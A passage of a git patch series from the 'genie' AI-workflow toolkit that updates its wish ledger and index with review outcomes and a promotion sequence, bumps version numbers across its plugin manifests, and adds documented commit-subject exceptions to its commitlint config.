published). Re-review #2 pending after #2835/#2836; follow-ups M2/M3/M4/M9/M10 recorded in WISH.md. Also fixed outside wish scope: `tar -xzf` without `-p` broke `genie update` under umask 077 (#2821/#2824) +- [genie-dual-mode-orca-plugin — DESIGN](brainstorms/genie-dual-mode-orca-plugin/DESIGN.md) → [WISH](wishes/genie-dual-mode-orca-plugin/WISH.md) — **IN_PROGRESS** (plan APPROVED/SHIP 2026-08-29 design digest `2499668e…`; A1–A7 merged to dev #2808–#2820). Rolling promotion #2817 dev→main: review #0 at `eccf0ae4a` FIX-FIRST (6 HIGH, 0 CRITICAL) → fixes #2821/#2823/#2824/#2825/#2826/#2827/#2829/#2830/#2834 merged; re-review #1 at `f45d634b8` FIX-FIRST (all prior HIGHs closed, 3983 tests pass; one new HIGH H7 — SessionStart hook opened genie.db under Orca authority → #2835; M12/M15 → #2836). Main-side hotfixes awaiting human merge: #2822 (ninth version field), #2833 (dogfood harness accepts retired Codex route — why v5.260830.x never published). re-review #2 at `0d0641f97` **SHIP** (0 CRITICAL/HIGH, 3984 tests pass; M16/M17 non-blocking → #2838). **Approved for human promotion**: merge #2822 + #2833 to main first, then #2817 with a merge commit; follow-ups M2/M3/M4/M9/M10 recorded in WISH.md. Also fixed outside wish scope: `tar -xzf` without `-p` broke `genie update` under umask 077 (#2821/#2824) - [delegate-bridge — DESIGN](brainstorms/delegate-bridge/DESIGN.md) → [WISH](wishes/delegate-bridge/WISH.md) — **APPROVED 2026-08-12** (design SHIP digest `a720e84c…` after 1 fix loop — the HIGH was prepare-cadence: turn-1-only, existence-refusal ≠ dirtiness; plan SHIP after 1 fix loop — the HIGH was the doctor module path, all loop-1 advisories applied in-document): W2+W3 of cross-agent-delegation — turn-per-launch bridge (`task delegate [--continue]`, spike-first, `requireRosterAgent` at consumption, adapter cards ×5 with hermes stateless, fail-open + single first-turn `-r1` orphan retry, timeline-recorded orphan doctor check) and `task fan` fan-out with ratification picker. 7 groups A (unblocked W1 handoffs) · S gate · B ∥ C · D ∥ E · F live smoke; cards `t_msp6a1ql…`–`t_msp6a25s…`, wish card `t_msp4fp6ce714c8be` task-blocked on remotty `headless-turn-open` (seeded in remotty's `.genie` 2026-08-11, board card there) **Amendment recorded 2026-08-13 (spawn-context-contract group reversals):** S–F turn transport re-bases to live herdr sessions; the block re-targets from `headless-turn-open` to the herdr 0.3 swap + `engine-turn-verbs` (remotty card `t_msqkkjt221792465`), recorded on the umbrella + group cards in the board snapshot. - [cross-agent-delegate — DESIGN](brainstorms/cross-agent-delegate/DESIGN.md) → [WISH](wishes/cross-agent-delegate/WISH.md) — **APPROVED 2026-08-11** (design SHIP digest `c15d6a9e…` after 2 fix loops; plan SHIP with all 7 findings applied in-document, incl. the A1/A2 gate split; re-opened orca-inspired 2026-08-10, umbrella G6): W1 declared-routing wish — `assigned_agent`+`assigned_reason` on the card (default = current agent), roster allowlist (claude/codex/pi/hermes/prime), `create --agent/--why` + `task assign --clear`, lane-path-only `board --json` (laneless stays byte-frozen), roadmap-sync lockstep; 4 groups A1 → A2 ∥ B ∥ C, 5 board cards. Follow-on `delegate-bridge` poured 2026-08-12 (entry above) with the 5 logged residuals resolved in its own SHIP'd design; unblocks remotty's `assigned_agent` rendering ask diff --git a/.genie/wishes/genie-dual-mode-orca-plugin/WISH.md b/.genie/wishes/genie-dual-mode-orca-plugin/WISH.md index 38bf2ab5f..11b6091b6 100644 --- a/.genie/wishes/genie-dual-mode-orca-plugin/WISH.md +++ b/.genie/wishes/genie-dual-mode-orca-plugin/WISH.md @@ -389,8 +389,9 @@ done `pm.md`→`quick.md`, orphan check), #2827 (H3 ownership refresh after `publishCodexDeliveryFacts`, advisory), #2828 (ledger), #2829 (H4 `timeoutMs` bound, H5 `run:null` read-back, M1 flaky test, stream faults, doctor resilience), #2830 (H1 doctor + M6 board/idea guards, dead `genie mcp` entry retired from `.mcp.json`), - #2834 (H2 resolved by retiring `genie ui-bridge` outright — see the decision below). Open to `dev` — #2835 (H7 - SessionStart hook), #2836 (M12 gate wiring, M15 `.mcp.json.genie-backup-*` ignore). Open to `main` (human merge; + #2834 (H2 resolved by retiring `genie ui-bridge` outright — see the decision below). Merged to `dev` — #2835 (H7 + SessionStart hook), #2836 (M12 gate wiring, M15 `.mcp.json.genie-backup-*` ignore), #2837 (ledger). Open to `dev` — + #2838 (re-review #2 M16 authority-mirror fidelity, M17 plugin README H3 row). Open to `main` (human merge; the release pipeline runs `version.yml`, `release-guard.sh` and the dogfood harness from `main`, so these cannot take effect from dev) — #2822 (ninth version field), #2833 (harness accepts the retired Codex project route; why `v5.260830.2/.3` built, signed and never published). Follow-ups recorded, not blocking promotion — M2 (real-runtime @@ -409,6 +410,24 @@ done fixture that fails on the previous bundle. New MEDIUM: M12 Kimi orphan check unwired (#2836), M13 this ledger stale (this entry), M14 `ui-bridge` retirement is outside the wish scope and orphaned three INDEX entries (decision and corrections below), M15 `genie init` backup untracked (#2836). Re-review #2 required after #2835/#2836 land. +- **Re-review #2 of #2817 (dev→main) — SHIP (2026-08-30):** same reviewer profile, pinned snapshot + `0d0641f97b800f344349a1e97f47a8ffef0302e3` (dev tip after #2835/#2836/#2837). H7 closed with a negative control — + the pre-fix bundle injected task context and created `-wal`/`-shm` under Orca authority, the shipped bundle does + neither and standalone injection is unregressed; `session-context.cjs` is the only shipped script that touches + `genie.db`, registered identically by all three manifests. M12 (gate fails on an injected orphan command), M13, M14 + (INDEX entries retired, `jar: index-lane drift` pass), M15 (`git status` clean after `genie init`, `check-ignore` + hits) closed. Validation: `bun run check:fast` PASS (13 steps), `bun run build` PASS, `bun test src` 2773/0, + `bun test tests plugins` 779 pass / 1 skip, `bun test scripts` 432 pass + 5 accepted `reconcile-release-assets` + timeouts, `--verify-source` OK at 5.260830.6, all hook/bundle/skill gates OK, `genie doctor` ok:true — aggregate + 3984 pass. Zero CRITICAL, zero HIGH. Non-blocking: M16 (hook authority read failed open on `{"orchestration":{}}`, + extra keys, and an unimplemented `GENIE_CONFIG_FILE` — fixed in #2838 to mirror the CLI's strict schema with the + fixture asserting both readers agree), M17 (plugin README H3 row — #2838), L1 (ledger tense — this entry). +- **Promotion gate (orchestrator):** #2817 is approved for human promotion on the reviewed content. Sequence for the + human: merge #2822 and #2833 to `main` first (the release pipeline runs `version.yml`, `release-guard.sh` and the + dogfood harness from `main`; without them no dev tarball publishes), then merge #2817 with a merge commit (never + squash). Per-group acceptance boxes remain the human promoter's to tick on merge; wish status moves to `SHIPPED` + only after the authorized merge plus the on-host dogfood (`genie update --dev` to a published v5.260830.x on + khal-labs — the old binary needs `(umask 022 && genie update --dev)` once). - **Decision (M14, recorded by the orchestrator):** Felipe's words to the fixing session on 2026-08-30 — *"theres no more genie ui, only 'ui' is orca integration"*. `genie ui-bridge` and the MCP transport it kept alive are retired (#2834); INDEX entries for `genie-ui-bridge`, `genie-ui-dash` and `genie-boards-ui` now record the retirement. From bd6fc03d470c94ca59ff4ee1aeae37b595356114 Mon Sep 17 00:00:00 2001 From: Felipe Rosa <felipe@namastex.ai> Date: Sat, 29 Aug 2026 23:20:31 -0300 Subject: [PATCH 42/45] docs(wish): promotion sequence without #2833; record staging-leak follow-up and dogfood evidence (#2840) Claude-Session: https://claude.ai/code/session_018QrkgYMEEhrWTUo5E7Nkjg Co-authored-by: Claude Fable 5 <noreply@anthropic.com> --- .genie/INDEX.md | 2 +- .../wishes/genie-dual-mode-orca-plugin/WISH.md | 18 +++++++++++------- 2 files changed, 12 insertions(+), 8 deletions(-) diff --git a/.genie/INDEX.md b/.genie/INDEX.md index 234aca9e0..ec208cd71 100644 --- a/.genie/INDEX.md +++ b/.genie/INDEX.md @@ -32,7 +32,7 @@ ## Poured -- [genie-dual-mode-orca-plugin — DESIGN](brainstorms/genie-dual-mode-orca-plugin/DESIGN.md) → [WISH](wishes/genie-dual-mode-orca-plugin/WISH.md) — **IN_PROGRESS** (plan APPROVED/SHIP 2026-08-29 design digest `2499668e…`; A1–A7 merged to dev #2808–#2820). Rolling promotion #2817 dev→main: review #0 at `eccf0ae4a` FIX-FIRST (6 HIGH, 0 CRITICAL) → fixes #2821/#2823/#2824/#2825/#2826/#2827/#2829/#2830/#2834 merged; re-review #1 at `f45d634b8` FIX-FIRST (all prior HIGHs closed, 3983 tests pass; one new HIGH H7 — SessionStart hook opened genie.db under Orca authority → #2835; M12/M15 → #2836). Main-side hotfixes awaiting human merge: #2822 (ninth version field), #2833 (dogfood harness accepts retired Codex route — why v5.260830.x never published). re-review #2 at `0d0641f97` **SHIP** (0 CRITICAL/HIGH, 3984 tests pass; M16/M17 non-blocking → #2838). **Approved for human promotion**: merge #2822 + #2833 to main first, then #2817 with a merge commit; follow-ups M2/M3/M4/M9/M10 recorded in WISH.md. Also fixed outside wish scope: `tar -xzf` without `-p` broke `genie update` under umask 077 (#2821/#2824) +- [genie-dual-mode-orca-plugin — DESIGN](brainstorms/genie-dual-mode-orca-plugin/DESIGN.md) → [WISH](wishes/genie-dual-mode-orca-plugin/WISH.md) — **IN_PROGRESS** (plan APPROVED/SHIP 2026-08-29 design digest `2499668e…`; A1–A7 merged to dev #2808–#2820). Rolling promotion #2817 dev→main: review #0 at `eccf0ae4a` FIX-FIRST (6 HIGH, 0 CRITICAL) → fixes #2821/#2823/#2824/#2825/#2826/#2827/#2829/#2830/#2834 merged; re-review #1 at `f45d634b8` FIX-FIRST (all prior HIGHs closed, 3983 tests pass; one new HIGH H7 — SessionStart hook opened genie.db under Orca authority → #2835; M12/M15 → #2836). Main-side hotfixes awaiting human merge: #2822 (ninth version field), #2833 (dogfood harness accepts retired Codex route — why v5.260830.x never published). re-review #2 at `0d0641f97` **SHIP** (0 CRITICAL/HIGH, 3984 tests pass; M16/M17 non-blocking → #2838). **Approved for human promotion**: merge #2822 to main first, then #2817 with a merge commit (#2833 closed — the promotion carries the harness); follow-ups M2/M3/M4/M9/M10 recorded in WISH.md. Also fixed outside wish scope: `tar -xzf` without `-p` broke `genie update` under umask 077 (#2821/#2824) - [delegate-bridge — DESIGN](brainstorms/delegate-bridge/DESIGN.md) → [WISH](wishes/delegate-bridge/WISH.md) — **APPROVED 2026-08-12** (design SHIP digest `a720e84c…` after 1 fix loop — the HIGH was prepare-cadence: turn-1-only, existence-refusal ≠ dirtiness; plan SHIP after 1 fix loop — the HIGH was the doctor module path, all loop-1 advisories applied in-document): W2+W3 of cross-agent-delegation — turn-per-launch bridge (`task delegate [--continue]`, spike-first, `requireRosterAgent` at consumption, adapter cards ×5 with hermes stateless, fail-open + single first-turn `-r1` orphan retry, timeline-recorded orphan doctor check) and `task fan` fan-out with ratification picker. 7 groups A (unblocked W1 handoffs) · S gate · B ∥ C · D ∥ E · F live smoke; cards `t_msp6a1ql…`–`t_msp6a25s…`, wish card `t_msp4fp6ce714c8be` task-blocked on remotty `headless-turn-open` (seeded in remotty's `.genie` 2026-08-11, board card there) **Amendment recorded 2026-08-13 (spawn-context-contract group reversals):** S–F turn transport re-bases to live herdr sessions; the block re-targets from `headless-turn-open` to the herdr 0.3 swap + `engine-turn-verbs` (remotty card `t_msqkkjt221792465`), recorded on the umbrella + group cards in the board snapshot. - [cross-agent-delegate — DESIGN](brainstorms/cross-agent-delegate/DESIGN.md) → [WISH](wishes/cross-agent-delegate/WISH.md) — **APPROVED 2026-08-11** (design SHIP digest `c15d6a9e…` after 2 fix loops; plan SHIP with all 7 findings applied in-document, incl. the A1/A2 gate split; re-opened orca-inspired 2026-08-10, umbrella G6): W1 declared-routing wish — `assigned_agent`+`assigned_reason` on the card (default = current agent), roster allowlist (claude/codex/pi/hermes/prime), `create --agent/--why` + `task assign --clear`, lane-path-only `board --json` (laneless stays byte-frozen), roadmap-sync lockstep; 4 groups A1 → A2 ∥ B ∥ C, 5 board cards. Follow-on `delegate-bridge` poured 2026-08-12 (entry above) with the 5 logged residuals resolved in its own SHIP'd design; unblocks remotty's `assigned_agent` rendering ask diff --git a/.genie/wishes/genie-dual-mode-orca-plugin/WISH.md b/.genie/wishes/genie-dual-mode-orca-plugin/WISH.md index 11b6091b6..39b5cd211 100644 --- a/.genie/wishes/genie-dual-mode-orca-plugin/WISH.md +++ b/.genie/wishes/genie-dual-mode-orca-plugin/WISH.md @@ -392,12 +392,16 @@ done #2834 (H2 resolved by retiring `genie ui-bridge` outright — see the decision below). Merged to `dev` — #2835 (H7 SessionStart hook), #2836 (M12 gate wiring, M15 `.mcp.json.genie-backup-*` ignore), #2837 (ledger). Open to `dev` — #2838 (re-review #2 M16 authority-mirror fidelity, M17 plugin README H3 row). Open to `main` (human merge; - the release pipeline runs `version.yml`, `release-guard.sh` and the dogfood harness from `main`, so these cannot - take effect from dev) — #2822 (ninth version field), #2833 (harness accepts the retired Codex project route; why - `v5.260830.2/.3` built, signed and never published). Follow-ups recorded, not blocking promotion — M2 (real-runtime + `version.yml` runs from `main`) — #2822 (ninth version field). #2833 (harness accepts the retired Codex project + route — why `v5.260830.2/.3` built, signed and never published) was closed: the promotion #2817 carries it. Follow-ups recorded, not blocking promotion — M2 (real-runtime smoke never executes; needs one transcript against a real Orca host), M3/M4 (read-back over-strictness: uncapped `task-list`, optional `model`/`effort` compared strictly), M9 (Hermes model surface lost board/task - tools), M10 (dead launcher validator in `src/lib/codex-project-mcp.ts`). + tools), M10 (dead launcher validator in `src/lib/codex-project-mcp.ts`), and — found during the on-host dogfood — every + failed admission leaves a ~100 MB `$GENIE_HOME/bin/.install-staging-<uuid>` behind (six on khal-labs, removed by + hand): `admitExternalInstallStaging`'s failure path does not reliably reach `removeInstallStagingDirectory`; needs + a regression fixture on the digest-mismatch branch. On-host dogfood evidence: `(umask 022 && genie update --dev + --yes)` 5.260816.2 → 5.260829.4 succeeded on khal-labs (exit 0, doctor runs; Codex activation pending the human's + `genie setup --codex`). - **Re-review #1 of #2817 (dev→main) — FIX-FIRST (2026-08-30):** same reviewer profile, pinned snapshot `f45d634b856a834bf0660e2b1cdbe1eda21edb04` (dev tip incl. #2834). All six previous HIGH gaps and both root causes verified closed with evidence (doctor, ui-bridge, update probe, adapter deadline, `run:null` read-back, bundle @@ -423,9 +427,9 @@ done extra keys, and an unimplemented `GENIE_CONFIG_FILE` — fixed in #2838 to mirror the CLI's strict schema with the fixture asserting both readers agree), M17 (plugin README H3 row — #2838), L1 (ledger tense — this entry). - **Promotion gate (orchestrator):** #2817 is approved for human promotion on the reviewed content. Sequence for the - human: merge #2822 and #2833 to `main` first (the release pipeline runs `version.yml`, `release-guard.sh` and the - dogfood harness from `main`; without them no dev tarball publishes), then merge #2817 with a merge commit (never - squash). Per-group acceptance boxes remain the human promoter's to tick on merge; wish status moves to `SHIPPED` + human: merge #2822 to `main` first (`version.yml` runs from `main`), then merge #2817 with a merge commit (never + squash). #2833 (harness hotfix to `main`) was CLOSED: on `main` the #2820 harness rejects `main`'s own binary, so + the promotion itself is what lands harness + candidate together; the first post-promotion dev tag publishes again. Per-group acceptance boxes remain the human promoter's to tick on merge; wish status moves to `SHIPPED` only after the authorized merge plus the on-host dogfood (`genie update --dev` to a published v5.260830.x on khal-labs — the old binary needs `(umask 022 && genie update --dev)` once). - **Decision (M14, recorded by the orchestrator):** Felipe's words to the fixing session on 2026-08-30 — *"theres no From ef85a90c8ed4f06dc61e831d0c48ab8c5fa53cc5 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" <github-actions[bot]@users.noreply.github.com> Date: Sun, 30 Aug 2026 02:23:28 +0000 Subject: [PATCH 43/45] chore(version): bump to 5.260830.8 [auto-version] --- .claude-plugin/marketplace.json | 2 +- package.json | 2 +- plugins/genie/.claude-plugin/plugin.json | 2 +- plugins/genie/.codex-plugin/plugin.json | 2 +- plugins/genie/.kimi-plugin/plugin.json | 2 +- plugins/genie/orca-plugin.json | 2 +- plugins/genie/package.json | 2 +- plugins/hermes-genie/plugin.yaml | 2 +- plugins/pi-genie/package.json | 2 +- 9 files changed, 9 insertions(+), 9 deletions(-) diff --git a/.claude-plugin/marketplace.json b/.claude-plugin/marketplace.json index 49cca957a..9bcb24808 100644 --- a/.claude-plugin/marketplace.json +++ b/.claude-plugin/marketplace.json @@ -10,7 +10,7 @@ "plugins": [ { "name": "genie", - "version": "5.260830.7", + "version": "5.260830.8", "source": "./plugins/genie", "description": "Human-AI partnership for Claude Code. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, wish them into plans, make with parallel agents, ship as one team. A coding genie that grows with your project." } diff --git a/package.json b/package.json index 28041a761..0b7337ca5 100644 --- a/package.json +++ b/package.json @@ -1,7 +1,7 @@ { "name": "@automagik/genie", - "version": "5.260830.7", + "version": "5.260830.8", "description": "Collaborative terminal toolkit for human + AI workflows. NOTE: npm distribution discontinued 2026-05-09 — install via `curl -fsSL https://raw.githubusercontent.com/automagik-dev/genie/main/install.sh | bash` (cosign + SLSA verified). See https://automagik.dev/genie/release-process", "license": "MIT", diff --git a/plugins/genie/.claude-plugin/plugin.json b/plugins/genie/.claude-plugin/plugin.json index fe403e448..db29b73f5 100644 --- a/plugins/genie/.claude-plugin/plugin.json +++ b/plugins/genie/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260830.7", + "version": "5.260830.8", "description": "Human-AI partnership for Claude Code. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, turn them into wishes, execute with /work, validate with /review, and ship as one team.", "author": { "name": "Namastex Labs" diff --git a/plugins/genie/.codex-plugin/plugin.json b/plugins/genie/.codex-plugin/plugin.json index e369820b8..691e81fd1 100644 --- a/plugins/genie/.codex-plugin/plugin.json +++ b/plugins/genie/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260830.7", + "version": "5.260830.8", "description": "Plan, execute, review, and ship software with Genie workflows in Codex.", "author": { "name": "Namastex Labs", diff --git a/plugins/genie/.kimi-plugin/plugin.json b/plugins/genie/.kimi-plugin/plugin.json index b0867bb24..d939c6a3c 100644 --- a/plugins/genie/.kimi-plugin/plugin.json +++ b/plugins/genie/.kimi-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260830.7", + "version": "5.260830.8", "description": "Human-AI partnership for Kimi Code CLI. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, turn them into wishes, execute with /genie:work, validate with /genie:review, and ship as one team.", "author": { "name": "Namastex Labs", diff --git a/plugins/genie/orca-plugin.json b/plugins/genie/orca-plugin.json index 80e43e5df..6c7daa2ff 100644 --- a/plugins/genie/orca-plugin.json +++ b/plugins/genie/orca-plugin.json @@ -3,7 +3,7 @@ "id": "genie", "publisher": "automagik", "name": "Genie", - "version": "5.260830.1", + "version": "5.260830.8", "description": "Genie workflows backed by Orca as the sole lifecycle authority.", "author": { "name": "Namastex Labs", diff --git a/plugins/genie/package.json b/plugins/genie/package.json index 69d287f78..5c3e49622 100644 --- a/plugins/genie/package.json +++ b/plugins/genie/package.json @@ -1,6 +1,6 @@ { "name": "genie-plugin", - "version": "5.260830.7", + "version": "5.260830.8", "private": true, "description": "Runtime dependencies for genie bundled CLIs", "license": "MIT", diff --git a/plugins/hermes-genie/plugin.yaml b/plugins/hermes-genie/plugin.yaml index c0f02902d..2b222c0cd 100644 --- a/plugins/hermes-genie/plugin.yaml +++ b/plugins/hermes-genie/plugin.yaml @@ -1,5 +1,5 @@ name: genie -version: 5.260830.7 +version: 5.260830.8 description: "Native Hermes surface for Genie orchestration: read-only status, work-plan and review-plan tools, hooks, commands, and a thin cockpit skill." provides_tools: # Exactly three native read-only planning/status tools. diff --git a/plugins/pi-genie/package.json b/plugins/pi-genie/package.json index c479467ae..c97d83145 100644 --- a/plugins/pi-genie/package.json +++ b/plugins/pi-genie/package.json @@ -1,6 +1,6 @@ { "name": "genie-pi-plugin", - "version": "5.260830.7", + "version": "5.260830.8", "private": true, "description": "Pi extension manifest for the Genie pi plugin — the plugin payload is plugins/pi-genie/extension.ts", "license": "MIT", From e575514e3bd52750c3b45cd997e0e22eba5e5314 Mon Sep 17 00:00:00 2001 From: Felipe Rosa <felipe@namastex.ai> Date: Sat, 29 Aug 2026 23:24:51 -0300 Subject: [PATCH 44/45] ci(commitlint): pin the five #2817 review-wave squash subjects (#2841) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * ci(commitlint): pin the four #2817 review-wave squash subjects Three squash-merge headers (#2828, #2829, #2837) crossed 100 characters only because GitHub appended the PR suffix, and #2830's subject is capitalised ("Orca-mode"). They are already on shared dev, so — matching every prior exception in this file — pin the exact full subjects instead of rewriting history. The rolling promotion #2817 fails Commit Messages on that range until this lands. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_013gGxGgKskzyzr1HRUB6cV3 * ci(commitlint): also pin the #2840 squash subject Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_013gGxGgKskzyzr1HRUB6cV3 --------- Co-authored-by: Claude Fable 5 <noreply@anthropic.com> --- commitlint.config.ts | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/commitlint.config.ts b/commitlint.config.ts index bedb78330..e6b308311 100644 --- a/commitlint.config.ts +++ b/commitlint.config.ts @@ -51,6 +51,20 @@ export default { 'spawn-context-contract#doctor-modes: mode-drift check + tighten-only --fix across all worktrees (#2779)', 'feat(hooks): retire orchestration-guard, validate-completion, and hook trust (hooks-v2#retire) (#2780)', ].includes(message.split('\n')[0]), + // Historical exception (2026-08-30, #2817 review-fix wave): five squash + // subjects landed on dev over the 100-character gate once GitHub appended + // `(#NNNN)` (#2828/#2829/#2837/#2840), and one (#2830) has a capitalised + // "Orca-mode" subject that trips subject-case. Same posture as above: + // exact full-subject pins, no rewrite of shared dev history, do not + // reuse these subjects and do not broaden this to a pattern. + (message: string) => + [ + 'docs(wish): record the #2817 FIX-FIRST review and fix disposition in the dual-mode Orca ledger (#2828)', + 'fix(orca): adapter readback, wait bound, stream faults, version gate, and doctor resilience (#2829)', + 'fix: Orca-mode lifecycle guards + retire the dead `genie mcp` entry in .mcp.json (#2830)', + 'docs(wish): record re-review #1 of #2817, refresh the fix disposition, retire the UI entries (#2837)', + 'docs(wish): promotion sequence without #2833; record staging-leak follow-up and dogfood evidence (#2840)', + ].includes(message.split('\n')[0]), // Historical exception: four `wish:`-prefixed wish-evolution commits on // the release-pipeline-collapse PR branch pre-date the engineering work. // They captured the wish-document drafts (council pivot, reviewer From 7e915b3a5126800c1843f77ffc5f22fbb983e989 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" <github-actions[bot]@users.noreply.github.com> Date: Sun, 30 Aug 2026 02:26:53 +0000 Subject: [PATCH 45/45] chore(version): bump to 5.260830.9 [auto-version] --- .claude-plugin/marketplace.json | 2 +- package.json | 2 +- plugins/genie/.claude-plugin/plugin.json | 2 +- plugins/genie/.codex-plugin/plugin.json | 2 +- plugins/genie/.kimi-plugin/plugin.json | 2 +- plugins/genie/orca-plugin.json | 2 +- plugins/genie/package.json | 2 +- plugins/hermes-genie/plugin.yaml | 2 +- plugins/pi-genie/package.json | 2 +- 9 files changed, 9 insertions(+), 9 deletions(-) diff --git a/.claude-plugin/marketplace.json b/.claude-plugin/marketplace.json index 9bcb24808..adf4578d6 100644 --- a/.claude-plugin/marketplace.json +++ b/.claude-plugin/marketplace.json @@ -10,7 +10,7 @@ "plugins": [ { "name": "genie", - "version": "5.260830.8", + "version": "5.260830.9", "source": "./plugins/genie", "description": "Human-AI partnership for Claude Code. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, wish them into plans, make with parallel agents, ship as one team. A coding genie that grows with your project." } diff --git a/package.json b/package.json index 0b7337ca5..26a8a1970 100644 --- a/package.json +++ b/package.json @@ -1,7 +1,7 @@ { "name": "@automagik/genie", - "version": "5.260830.8", + "version": "5.260830.9", "description": "Collaborative terminal toolkit for human + AI workflows. NOTE: npm distribution discontinued 2026-05-09 — install via `curl -fsSL https://raw.githubusercontent.com/automagik-dev/genie/main/install.sh | bash` (cosign + SLSA verified). See https://automagik.dev/genie/release-process", "license": "MIT", diff --git a/plugins/genie/.claude-plugin/plugin.json b/plugins/genie/.claude-plugin/plugin.json index db29b73f5..d3fe422c6 100644 --- a/plugins/genie/.claude-plugin/plugin.json +++ b/plugins/genie/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260830.8", + "version": "5.260830.9", "description": "Human-AI partnership for Claude Code. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, turn them into wishes, execute with /work, validate with /review, and ship as one team.", "author": { "name": "Namastex Labs" diff --git a/plugins/genie/.codex-plugin/plugin.json b/plugins/genie/.codex-plugin/plugin.json index 691e81fd1..5e396de6b 100644 --- a/plugins/genie/.codex-plugin/plugin.json +++ b/plugins/genie/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260830.8", + "version": "5.260830.9", "description": "Plan, execute, review, and ship software with Genie workflows in Codex.", "author": { "name": "Namastex Labs", diff --git a/plugins/genie/.kimi-plugin/plugin.json b/plugins/genie/.kimi-plugin/plugin.json index d939c6a3c..71c2b2d31 100644 --- a/plugins/genie/.kimi-plugin/plugin.json +++ b/plugins/genie/.kimi-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260830.8", + "version": "5.260830.9", "description": "Human-AI partnership for Kimi Code CLI. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, turn them into wishes, execute with /genie:work, validate with /genie:review, and ship as one team.", "author": { "name": "Namastex Labs", diff --git a/plugins/genie/orca-plugin.json b/plugins/genie/orca-plugin.json index 6c7daa2ff..2009443e4 100644 --- a/plugins/genie/orca-plugin.json +++ b/plugins/genie/orca-plugin.json @@ -3,7 +3,7 @@ "id": "genie", "publisher": "automagik", "name": "Genie", - "version": "5.260830.8", + "version": "5.260830.9", "description": "Genie workflows backed by Orca as the sole lifecycle authority.", "author": { "name": "Namastex Labs", diff --git a/plugins/genie/package.json b/plugins/genie/package.json index 5c3e49622..74df4736b 100644 --- a/plugins/genie/package.json +++ b/plugins/genie/package.json @@ -1,6 +1,6 @@ { "name": "genie-plugin", - "version": "5.260830.8", + "version": "5.260830.9", "private": true, "description": "Runtime dependencies for genie bundled CLIs", "license": "MIT", diff --git a/plugins/hermes-genie/plugin.yaml b/plugins/hermes-genie/plugin.yaml index 2b222c0cd..141dc630c 100644 --- a/plugins/hermes-genie/plugin.yaml +++ b/plugins/hermes-genie/plugin.yaml @@ -1,5 +1,5 @@ name: genie -version: 5.260830.8 +version: 5.260830.9 description: "Native Hermes surface for Genie orchestration: read-only status, work-plan and review-plan tools, hooks, commands, and a thin cockpit skill." provides_tools: # Exactly three native read-only planning/status tools. diff --git a/plugins/pi-genie/package.json b/plugins/pi-genie/package.json index c97d83145..4e498bd80 100644 --- a/plugins/pi-genie/package.json +++ b/plugins/pi-genie/package.json @@ -1,6 +1,6 @@ { "name": "genie-pi-plugin", - "version": "5.260830.8", + "version": "5.260830.9", "private": true, "description": "Pi extension manifest for the Genie pi plugin — the plugin payload is plugins/pi-genie/extension.ts", "license": "MIT",